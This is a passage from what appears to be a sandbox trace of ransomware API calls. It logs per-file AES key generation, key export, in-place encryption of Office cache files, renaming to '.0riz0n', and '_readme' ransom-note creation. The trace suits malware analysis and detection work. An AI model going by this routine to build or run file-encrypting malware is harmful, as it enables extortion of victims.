(HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0153.235] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2340020) returned 1 [0153.252] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa21da0) returned 1 [0153.252] CryptDestroyKey (hKey=0x829d78) returned 1 [0153.252] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf08) returned 1 [0153.252] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40ed0) returned 1 [0153.252] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40dc8) returned 1 [0153.252] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0153.252] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee3b15e0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x264400)) returned 1 [0153.252] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0153.252] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0153.252] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0153.252] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0153.252] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0153.253] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0153.253] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0153.253] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee3b15e0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x264400)) returned 1 [0153.253] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0153.253] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40dc8 [0153.253] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0153.253] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40ed0 [0153.253] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0153.253] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee3b15e0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x264400)) returned 1 [0153.253] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0153.253] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0153.253] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0153.253] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0153.253] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0153.253] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0153.253] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf08 [0153.253] CryptGenKey (in: hProv=0x81e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x1a7faa8 | out: phKey=0x1a7faa8*=0x829d78) returned 1 [0153.253] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x1a7faa4 | out: pbData=0x0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0153.254] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x240) returned 0xa21da0 [0153.254] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0153.254] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0xa21da0, pdwDataLen=0x1a7faa4 | out: pbData=0xa21da0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0153.254] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0153.254] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0153.254] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0153.254] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x0 [0153.254] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x264400) returned 0x2340020 [0153.255] ReadFile (in: hFile=0x1c0, lpBuffer=0x2340020, nNumberOfBytesToRead=0x264400, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesRead=0x1a7fab0*=0x264400, lpOverlapped=0x0) returned 1 [0153.480] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x264400) returned 0x25b0020 [0153.496] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2340020) returned 1 [0153.507] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x264400) returned 0x2340020 [0153.507] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0153.660] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x25b0020) returned 1 [0153.670] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x264800) returned 0x25b0020 [0153.968] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x25b0020*, pdwDataLen=0x1a7faac*=0x264400, dwBufLen=0x264800 | out: pbData=0x25b0020*, pdwDataLen=0x1a7faac*=0x264410) returned 1 [0153.987] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x264440) returned 0x2820020 [0154.053] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2340020) returned 1 [0154.090] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x25b0020) returned 1 [0154.101] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0154.101] WriteFile (in: hFile=0x1c0, lpBuffer=0x2820020*, nNumberOfBytesToWrite=0x264400, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2820020*, lpNumberOfBytesWritten=0x1a7fab0*=0x264400, lpOverlapped=0x0) returned 1 [0154.162] FlushFileBuffers (hFile=0x1c0) returned 1 [0154.403] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0154.410] NtClose (Handle=0x1c0) returned 0x0 [0154.421] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.0riz0n")) returned 1 [0154.542] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.0riz0n", dwFileAttributes=0x2020) returned 1 [0154.556] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0154.556] GetLastError () returned 0x2 [0154.556] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0xc2a79c, ftLastWriteTime.dwLowDateTime=0x984508, ftLastWriteTime.dwHighDateTime=0x3bfb18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7fae8)) returned 0 [0154.556] GetLastError () returned 0x2 [0154.556] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0154.610] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0154.635] WriteFile (in: hFile=0x1c0, lpBuffer=0xa9fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa9fe10*, lpNumberOfBytesWritten=0x1a7fab0*=0x15d, lpOverlapped=0x0) returned 1 [0154.703] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0154.715] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x1b) returned 0x1c7f030 [0154.735] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0154.750] NtClose (Handle=0x1c0) returned 0x0 [0154.767] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0155.019] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa7fc38) returned 1 [0155.019] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0155.019] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2820020) returned 1 [0155.031] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa21da0) returned 1 [0155.031] CryptDestroyKey (hKey=0x829d78) returned 1 [0155.031] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf08) returned 1 [0155.031] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40dc8) returned 1 [0155.031] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40ed0) returned 1 [0155.031] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0155.031] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391)) returned 1 [0155.031] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0155.031] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0155.031] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0155.031] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0155.032] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0155.032] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0155.032] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0155.032] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391)) returned 1 [0155.032] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0155.032] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40ed0 [0155.032] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0155.032] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40dc8 [0155.032] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0155.032] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391)) returned 1 [0155.032] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0155.032] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0155.032] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0155.032] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0155.032] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0155.033] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0155.033] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf08 [0155.033] CryptGenKey (in: hProv=0x81e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x1a7faa8 | out: phKey=0x1a7faa8*=0x829d78) returned 1 [0155.033] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x1a7faa4 | out: pbData=0x0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0155.033] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x240) returned 0xa21da0 [0155.033] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0155.033] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0xa21da0, pdwDataLen=0x1a7faa4 | out: pbData=0xa21da0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0155.033] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0155.033] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0155.033] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0155.033] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x0 [0155.033] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x3c0) returned 0xa288e8 [0155.033] ReadFile (in: hFile=0x1c0, lpBuffer=0xa288e8, nNumberOfBytesToRead=0x391, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa288e8*, lpNumberOfBytesRead=0x1a7fab0*=0x391, lpOverlapped=0x0) returned 1 [0155.035] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x3c0) returned 0x1be4d98 [0155.035] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa288e8) returned 1 [0155.035] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x3c0) returned 0xa288e8 [0155.035] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0155.035] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1be4d98) returned 1 [0155.035] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x7c0) returned 0xa1add0 [0155.035] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa1add0*, pdwDataLen=0x1a7faac*=0x391, dwBufLen=0x791 | out: pbData=0xa1add0*, pdwDataLen=0x1a7faac*=0x3a0) returned 1 [0155.035] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa1add0) returned 1 [0155.035] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0155.035] WriteFile (in: hFile=0x1c0, lpBuffer=0xa288e8*, nNumberOfBytesToWrite=0x391, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa288e8*, lpNumberOfBytesWritten=0x1a7fab0*=0x391, lpOverlapped=0x0) returned 1 [0155.036] FlushFileBuffers (hFile=0x1c0) returned 1 [0155.038] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0155.038] NtClose (Handle=0x1c0) returned 0x0 [0155.038] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.0riz0n")) returned 1 [0155.039] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.0riz0n", dwFileAttributes=0x2020) returned 1 [0155.039] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0155.039] GetLastError () returned 0x2 [0155.039] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0xc2a79c, ftLastWriteTime.dwLowDateTime=0x984528, ftLastWriteTime.dwHighDateTime=0x3bfb18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7fae8)) returned 0 [0155.039] GetLastError () returned 0x2 [0155.039] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0155.040] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0155.040] WriteFile (in: hFile=0x1c0, lpBuffer=0xa9fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa9fe10*, lpNumberOfBytesWritten=0x1a7fab0*=0x15d, lpOverlapped=0x0) returned 1 [0155.041] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0155.041] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x17) returned 0x1be3cf0 [0155.041] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cfe0 [0155.041] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1be3cf0) returned 1 [0155.041] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cfe0) returned 1 [0155.041] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x2d1) returned 0xa7fc38 [0155.041] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0155.041] NtClose (Handle=0x1c0) returned 0x0 [0155.042] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0155.042] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa7fc38) returned 1 [0155.042] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0155.042] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa288e8) returned 1 [0155.042] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa21da0) returned 1 [0155.042] CryptDestroyKey (hKey=0x829d78) returned 1 [0155.042] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf08) returned 1 [0155.042] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40ed0) returned 1 [0155.042] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40dc8) returned 1 [0155.042] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0155.042] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac)) returned 1 [0155.042] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0155.042] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0155.042] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0155.042] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0155.042] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, 